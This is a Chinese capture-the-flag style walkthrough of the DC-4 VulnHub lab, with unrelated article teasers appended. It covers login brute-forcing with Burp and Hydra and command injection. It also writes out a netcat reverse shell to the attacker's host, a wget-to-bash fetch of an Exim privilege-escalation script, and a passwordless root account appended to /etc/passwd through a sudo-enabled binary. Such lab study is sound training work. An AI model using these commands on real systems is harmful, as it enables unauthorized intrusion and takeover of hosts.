DC-4靶机刷题记录
靶机下载地址:
链接:https://pan.baidu.com/s/1YbPuSw_xLdkta10O9e2zGw?pwd=n6nx
提取码:n6nx
参考:
- 【【基础向】超详解vulnhub靶场DC-4-爆破+反弹shell+信息收集】 https://www.bilibili.com/video/BV1Le4y1o7Sx/?share_source=copy_web&vd_source=12088c39299ad03109d9a21304b34fef
- http://t.csdnimg.cn/BOGVr
- http://t.csdnimg.cn/tRrgh
- DC-4 (1).pdf
- https://c3ting.com/archives/vulnhnbshua-ti-dc-4
- https://www.vulnhub.com/entry/dc-4,313/
- ChatGPT
描述:
DESCRIPTION 说明
DC-4 is another purposely built vulnerable lab with the intent of gaining experience in the world of penetration testing.
DC-4是另一个专门建造的易受攻击实验室,旨在获得渗透测试领域的经验。Unlike the previous DC releases, this one is designed primarily for beginners/intermediates. There is only one flag, but technically, multiple entry points and just like last time, no clues.
与之前的DC版本不同,这一版本主要是为初学者/中级用户设计的。只有一面旗帜,但从技术上讲,有多个入口点,就像上次一样,没有任何线索。Linux skills and familiarity with the Linux command line are a must, as is some experience with basic penetration testing tools.
Linux技能和熟悉Linux命令行是必须的,有一些基本渗透测试工具的经验也是必须的。For beginners, Google can be of great assistance, but you can always tweet me at @DCAU7 for assistance to get you going again. But take note: I won't give you the answer, instead, I'll give you an idea about how to move forward.
对于初学者来说,谷歌可以提供很大的帮助,但你可以随时在@DCAU7上向我推特寻求帮助,让你重新开始。但请注意:我不会给你答案,相反,我会给你一个如何前进的想法。
使用工具
攻击者:kali 192.168.1.128
靶机:dc-3 192.168.1.
1、导入VMware虚拟机
下载完成后,得到DC-4.ova文件,导入到VMware后,设置靶机和kali的网络连接模式为NAT模式,靶机会自动获取ip地址。
一.信息收集
基础信息查询
0x01 查看存活主机
arp-scan -l #二层主机扫描,主动发送ARP包进行嗅探
0x02 查看开放端口 和 0x03 查看端口服务
nmap -p- 192.168.1.131 -A# -p-选项用于指定要扫描的所有端口范围。通常情况下,-p-表示扫描所有65535个端口
# -A 参数可以更详细一点,-A参数是一个组合选项,用于启用"全面扫描"模式。使用该参数可以执行更全面的信息收集和服务识别。
目录扫描
dirb http://192.168.1.132 /usr/share/dirb/wordlists/big.txt
没什么目录信息可用
0x04 服务器信息查询,CMS查询
页面信息探测
爆破用户密码
1. 用户登入爆破
随便输入用户名和密码,点击登入,用burpsuite抓包
然后选择Cluster bomb
集束炸弹模式
payload1设置为admin
payload2设置为一个密码字典,可以上网查Top1000弱口令字典放进去常见的弱口令字典1000~一石三鸟-CSDN博客
开始攻击,密码为happy
登录成功
这里有几个命令
我们可以通过抓包来进行修改它要执行的命令
发现任意命令执行漏洞
改为 id 发现可以成功执行
那么我们可以来进行反弹shell
反弹shell
先在kali上监听8888端口
nc -lvvnp 8888
nc -lvvnp 8888命令是使用netcat工具来监听网络连接并侦听指定的端口。
- -l选项表示netcat将进入监听模式。
- -v选项用于显示详细的调试信息。
- -n选项用于禁止DNS解析,以避免延迟。
- -p选项后跟要监听的端口号。
执行该命令后,netcat会开始在指定的端口上进行监听,并显示从客户端发送过来的连接和相关信息。
listening on [any] 8888 ...
您可以使用这个命令来创建一个简单的反向shell或测试网络连接等。
然后回到burpsite上,让DC-4靶机执行以下命令,将shell弹到kali监听的端口上
nc -e /bin/bash 192.168.1.128 8888
反弹shell成功,接着升级为交互shell
python -c 'import pty;pty.spawn("/bin/bash")'
接下来就是提权了,然后找flag了
提权
在home目录下发现三个用户
- charles
- jim
- sam
在/home/jim/backups目录下发现一个旧密码本
复制出来保存为1.txt
有用户名了,使用工具爆破密码:
使用hydra工具:
Hydra 是一款强大的网络登录破解工具,可用于暴力破解各种网络服务的用户名和密码。它支持多种协议和服务,包括常见的 SSH、FTP、Telnet、SMTP、POP3、IMAP 等。在 Kali Linux 中,Hydra 已经预装并且准备好供使用。
以下是 Hydra 的基本用法示例:
hydra -l <用户名> -P <密码列表文件> <目标IP地址> <协议> -s <端口号> -t <线程数>
其中:
- <用户名>:要破解的用户名,可以使用单个用户名或者使用用户名列表文件。
- <密码列表文件>:包含要尝试的密码的文件路径。
- <目标IP地址>:要破解的目标主机的 IP 地址。
- <协议>:要破解的服务的协议类型,如 ssh、ftp、telnet 等。
- <端口号>:目标服务的端口号,默认为协议的默认端口号。
- <线程数>:用于并发尝试的线程数,默认为 16。
要使用 Hydra 进行 SSH 登录破解,可以执行以下命令:
对 jim 的账号进行破解
hydra -l jim -P 1.txt 192.168.1.132 ssh
获得密码jibril04
那么接下来进行 ssh 登录 jim 的账号
登录成功
提示你有一封邮件
是root发来的
用 find 命令查找 mail
find / -name *mail* # 这条命令表示从根目录开始,查到前和后带有mail的目录
发现了/var/mail
目录,进去看看
Charles要去度假,所以把密码发给了jim
那我们尝试登录Charles的账号,成功登录
sudo -l
命令用于列出当前用户可以以超级用户权限运行的命令。
发现teehee命令
它是一个自定义的命令,那我们执行看看
teehee --help
-a参数 说可以不覆盖文件的形式追加内容
在文末添加,但是不是覆盖文件(teehee运行时有root权限,则可以由此修改passwd文件)
添加新用户到/etc/passwd中
参考/etc/passwd文件解刨
简而言之,就是存放用户的文件,可以通过修改该文件达到添加用户的效果
echo "admin::0:0:::/bin/bash" | sudo teehee -a /etc/passwd
##建议手打命令,复制粘贴可能不管用
对于admin::0:0:::/bin/bash的解释
[用户名]:[密码]:[UID]:[GID]:[身份描述]:[主目录]:[登录shell]
我们创建了一个admin用户,没有设置密码
添加成功之后就切换为admin用户
在root目录下发现flag文件
flag
方法二:
SUID
其中 exim4 可以提权
该命令用于在整个文件系统中搜索具有设置了 setuid 位的可执行文件,并将结果输出。
- find 是一个用于在指定路径下搜索文件和目录的命令。
- / 表示从根目录开始搜索,也就是整个文件系统。
- -perm -4000 表示查找具有设置了 setuid 位(权限为 4000)的文件。setuid 位允许普通用户以拥有者的权限来执行该文件。
- -print 选项用于打印找到的文件的完整路径。
- 2>/dev/null 将错误输出重定向到 /dev/null,这样可以屏蔽一些不必要的错误信息。
当命令执行完成后,它将返回所有具有设置了 setuid 位的可执行文件的完整路径列表。
find / -perm -4000 2>/dev/nullfind / -perm -4000 -print 2>/dev/null
exim是Debian系统默认的MTA(邮件传输代理),可以从这个作为突破口进行提权
先看一下 exim的版本
exim4 --version
确定版本,接着查找漏洞
searchsploit exim 4
选择对应版本的提权(Privilege Escalation)漏洞,完整path
/usr/share/exploitdb/exploits/linux/local/46996.sh
把这个脚本复制出来
使用python打开http服务 映射本地文件 python -m http.server
python -m http.server 是一个用于启动简单的HTTP服务器的命令。
执行该命令后,它将在当前目录下启动一个基于Python的HTTP服务器,默认监听端口为8000。这个HTTP服务器可以被用于快速共享文件、浏览静态网页或进行简单的文件传输等任务。
示例输出可能如下所示:
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
此时,您可以通过浏览器或其他HTTP客户端访问 http://localhost:8000 来浏览当前目录中的文件。如果希望使用不同的端口号,可以在命令中使用 -p 参数指定,例如 python -m http.server 8080 将使用8080端口。
请注意,这个简单的HTTP服务器通常用于开发和调试目的,并不适合在生产环境中使用。对于公开访问的网络服务,请考虑使用更安全和功能丰富的HTTP服务器软件。
出现这个页面就说明开启HTTP服务成功了
在靶机中切换到/tmp目录中,因为在这个目录可用加权限,使用wget命令下载并开启bash终端
wget http://192.168.1.128:8000/46996.sh | bash
然后给46996.sh权限 并且运行这个脚本
chmod +x ./46996.sh
点(.)在Linux中表示运行,./ 表示当前目录,紧接着是要运行的脚本文件名
./46996.sh
总结
1、在真实的环境中,信息收集环境不能少,在收集越多的信息,对于后面的提权或者打进去非常有用。
2、针对提权,在一个靶机中可能存在多种的提权方式,关键就在于信息收集,当我们收集的信息,满足一些提权条件的时候就可以使用。
3、在普通的情况下,kail自带的字典就已经够用,如果跑全部跑完了,就可以放弃暴力破解,得使用其他方式了,当然也可以在加自己根据信息收集阶段中生成 社工字典。
4、此靶机考察了对hydra的掌握以及对命令执行漏洞的利用,考虑到nc 的提权方式(正反提权)考察对用户操作的了解
完毕!
相关文章:

DC-4靶机刷题记录
靶机下载地址: 链接:https://pan.baidu.com/s/1YbPuSw_xLdkta10O9e2zGw?pwdn6nx 提取码:n6nx 参考: 【【基础向】超详解vulnhub靶场DC-4-爆破反弹shell信息收集】 https://www.bilibili.com/video/BV1Le4y1o7Sx/?share_sourc…...

【前端学习笔记1】css基础
css可以使页面更漂亮,即美化网页 css:层叠样式表 标签选择器: 类选择器: id只能单次调用,类似人的身份证 css里只要是word里面有的功能,他们都有对应的,不会的时候查一下就行 实现垂直居中:h…...

CVE-2023-46226 Apache iotdb远程代码执行漏洞
项目介绍 Apache IoTDB 是针对时间序列数据收集、存储与分析一体化的数据管理引擎。它具有体量轻、性能高、易使用的特点,完美对接 Hadoop 与 Spark 生态,适用于工业物联网应用中海量时间序列数据高速写入和复杂分析查询的需求。 项目地址 https://io…...

Redis实战之-分布式锁
一、基本原理和实现方式对比 分布式锁:满足分布式系统或集群模式下多进程可见并且互斥的锁。 分布式锁的核心思想就是让大家都使用同一把锁,只要大家使用的是同一把锁,那么我们就能锁住线程,不让线程进行,让程序串行…...

Cookie同源策略
同源策略(Same-Origin Policy)是浏览器安全机制的一部分,用于限制一个源(域名、协议和端口的组合)的文档或脚本如何与来自另一个源的资源进行交互。这个策略帮助防止潜在的恶意网站在用户浏览器中执行恶意操作。 关于C…...

6、Numpy形状操纵
目录 1. 使用 reshape 改变形状 2. 使用 resize 改变大小和形状 3. 使用 ravel 或 flatten 展平数组 4. 使用 -1 推断尺寸 5. 使用 newaxis 增加维度 6. 使用 squeeze 移除单维度条目 1. 使用 reshape 改变形状 对于任何 NumPy 数组,你可以使用 reshape 方法来…...

C++初阶类与对象(二):详解构造函数和析构函数
上次为类与对象开了一个头:C初阶类与对象(一):学习类与对象、访问限定符、封装、this指针 今天就来更进一步 文章目录 1.类的6个默认成员函数2.构造函数2.1引入和概念2.2构造函数特性2.2.1特性1~42.2.2注意2.2.3特性5~72.2.4注意 …...

【Vue3】3-3 : 组件之间是如何进行互相通信的
本书目录:点击进入 一、组件之间为什么要做通信 二、组件之间通信方式 2.1、父传子:由传递属性实现 stage 1:申明 (即定义) stage 2:注册 stage 3:使用 【示例】:父组件将 tit…...

网络端口映射和端口转发的区别和联系
目 录 一、端口映射技术 1.1 原理 1.2 应用场景 1、远程访问 2、游戏主机 3、文件共享 4、监控视频共享 二、端口转发技术 2.1 原理 2.2 应用场景 1、网络负载均衡 2、网络安全 3、网络代理 三、端口映射和转发的实现方法 3.1 路由器配置 3.2 网络防火墙 …...

VLSI超大规模集成电路设计复习
目录 VLSI超大规模集成电路设计复习引论MOS原理延时组合逻辑时序电路SRAM 总结(一张纸)参考资料 VLSI超大规模集成电路设计复习 复习可参照官网PPT上的知识点,然后根据知识点对应的去看书上的讲解。 引论 摩尔定律 尺寸缩小定律 N、P型半…...

GCC 内联汇编
LINUX下的汇编入门 AT&T风格 汇编 和GCC风格汇编 汇编代码的调试 前面写了三篇,是自我摸索三篇,摸着石头过河,有些或许是错误的细节,不必在意! 今天我们直接用GCC编译C语言代码,且在C语言里面内嵌AT&T风格的汇编! 前三篇大家了解即可,我们重点放在内嵌汇编里,简单快…...

springboot整合websocket后启动报错:javax.websocket.server.ServerContainer not available
一、场景 Springboot使用ServerEndpoint来建立websocket链接。引入依赖。 <dependency> <groupId>org.springframework.boot</groupId> <artifactId>spring-boot-starter-websocket</artifactId> </dependency>配置Websocket Confi…...

Vue面试之生命周期(上篇)
Vue面试之生命周期(上篇) 创建阶段beforeCreatecreated挂载阶段beforeMountmounted更新阶段beforeUpdateupdated销毁阶段beforeDestroydestroyed补充说明activated...

Gin 框架之用户密码加密
文章目录 一、引入二、密码加密位置三、如何加密四、bcrypt 库加密4.1 介绍4.2 优点:4.3 使用 五、小黄书密码加密实践 一、引入 Gin是一个用Go语言编写的Web框架,而用户密码的加密通常是在应用程序中处理用户身份验证时的一个重要问题。 通常敏感信息…...

【创作活动】ChatGPT 和文心一言哪个更好用?
文章目录 文心一言优点缺点 ChatGPT优点缺点 Java编码能力比较对人工智能的看法 ChatGPT是由OpenAI开发的交互式AI大模型, 文心一言是由百度研发的知识增强大语言模型,本文从Java开发的角度对比一下哪个更好用(本文仅用于投稿CSDN创造活动&am…...

【linux】查看Debian应用程序图标对应的可执行命令
在Debian系统中,应用程序图标通常与.desktop文件关联。您可以通过查看.desktop文件来找到对应的可执行命令。这些文件通常位于/usr/share/applications/或~/.local/share/applications/目录下。这里是如何查找的步骤: 1. 打开文件管理器或终端。 2. 导…...

TortoiseSVN客户端如何安装配置并实现公网访问服务端提交文件到本地服务器
文章目录 前言1. TortoiseSVN 客户端下载安装2. 创建检出文件夹3. 创建与提交文件4. 公网访问测试 前言 TortoiseSVN是一个开源的版本控制系统,它与Apache Subversion(SVN)集成在一起,提供了一个用户友好的界面,方便用…...

【AUTOSAR】RTE 接口类型、应用场景差别及实例讲解
目录 摘要 概念 CS接口 SR接口 接口选择 对于CPU负载率的影响...

Qt应用开发(安卓篇)——Hello Qt On Android
一、前言 这一篇从实际出发,讲述如何创建、编译和部署Qt On Android项目。 二、ADB调试 ADB的全称为Android Debug Bridge,就是起到调试桥的作用,主要用于连接计算机与Android 设备,以便进行调试和数据传输。ADB 可以实现以下主要…...

第十三讲_css 伸缩盒模型flex
css 伸缩盒模型flex 1. 伸缩盒模型介绍2. 伸缩盒模型的主轴方向3. 伸缩盒模型的主轴换行4. 主轴上的对齐方式5. 侧轴上对齐方式5.1 一行的侧轴上对齐方式5.2 多行的侧轴上对齐方式 6. 伸缩项目的伸缩性6.1 伸缩项目在主轴上的基准长度6.2 伸缩项目的放大6.3 伸缩项目的缩小 7. …...

【C++干货铺】C++11常用新特性 | 列表初始化 | STL中的变化
个人主页点击直达:小白不是程序媛 C系列专栏:C干货铺 代码仓库:Gitee 目录 C11简介 列表初始化 std::initializer_list std::initializer_list使用场景 decltype关键字 STL中的一些变化 新容器 array forward_list 容器中的一些新…...

k8s的对外服务---ingress
service的作用体现在两个方面: 集群内部:不断追踪pod的变化。他会更新endpoint中的pod对象,基于pod的IP地址不断变化的一种服务发现机制。 集群外部:类似负载均衡器,把流量IP端口,不涉及转发url(http、htt…...

element-ui的el-upload组件实现上传拖拽排序图片顺序(sortablejs)
<template><!-- 省略其他配置 --><el-upload ref"upload" :file-list.sync"fileList"></el-upload></template><script>import Sortable from sortablejs;export default {data() {return {fileList: []};},mounted()…...

【PS】PS设计图欣赏、学习、借鉴
【PS】PS设计图欣赏、学习、借鉴 bilibili萌新PS学习计划:PS教程全套零基础教学视频(全套81节全新版本)...

游戏云化好吗?游戏云化会带来什么?
随着云计算技术的飞速发展,游戏云化成为游戏产业中备受关注的话题。这一新兴技术给玩家和游戏行业带来了全新的可能性。本文将深入探讨游戏云化的概念、优势以及可能带来的影响。 1、什么是游戏云化? 游戏云化是指将游戏的各个环节,包括游戏…...

制造业企业数字化转型难点剖析及解决之法
导语 全球正在由工业经济向数字经济转型过渡,制造业正在且并将长期处于数字化转型发展阶段,并沿着数字化、网络化、智能化阶段不断跃升。但如何找准数字化转型的切入点,以低耗能、低成本、高效率的方式加快制造业转型升级的步伐,仍…...

golang 服务端遇到strict-origin-when-cross-origin,解决跨域整理
golang 服务端遇到strict-origin-when-cross-origin,解决跨域整理 以下内容由chatgpt中文网 动态生成,助力开发找我 代码汇总: func Cors() gin.HandlerFunc {return func(c *gin.Context) {method : c.Request.Methodorigin : c.Request.Header.Get(…...

分布式事务Seata实战-AT模式(注册中心为Eureka)
大致记录Seata的AT模式下创建项目过程中需要注意的点和可能遇到的问题。 本项目是以官网的给的示例(即下图)进行创建的,以Eureka为注册中心。 官网:Seata AT 模式 | Apache Seata™ 官方代码示例: 快速启动 | Apac…...

windows vscode jsoncpp cmake c++ 构建项目
jsoncpp的编译和使用推荐文章:jsoncpp的编译和使用 | 爱编程的大丙 (subingwen.cn)https://www.subingwen.cn/cpp/jsoncpp/从这个链接下载jsoncpp-master:https://github.com/open-source-parsers/jsoncpp 可以把这个文件夹名字改成jsoncpp,…...

按照一定规则批量修改文件夹内文件的名称
#一个小朋友问我的问题,写好后,就想着分享出来# #目前只想到这一个普通的方法,应该还有更巧妙的方法,读者可以自己思考# 需求:给定文件夹40001,要求将该文件夹内的图片按照40001_00000001,40002_00000002…...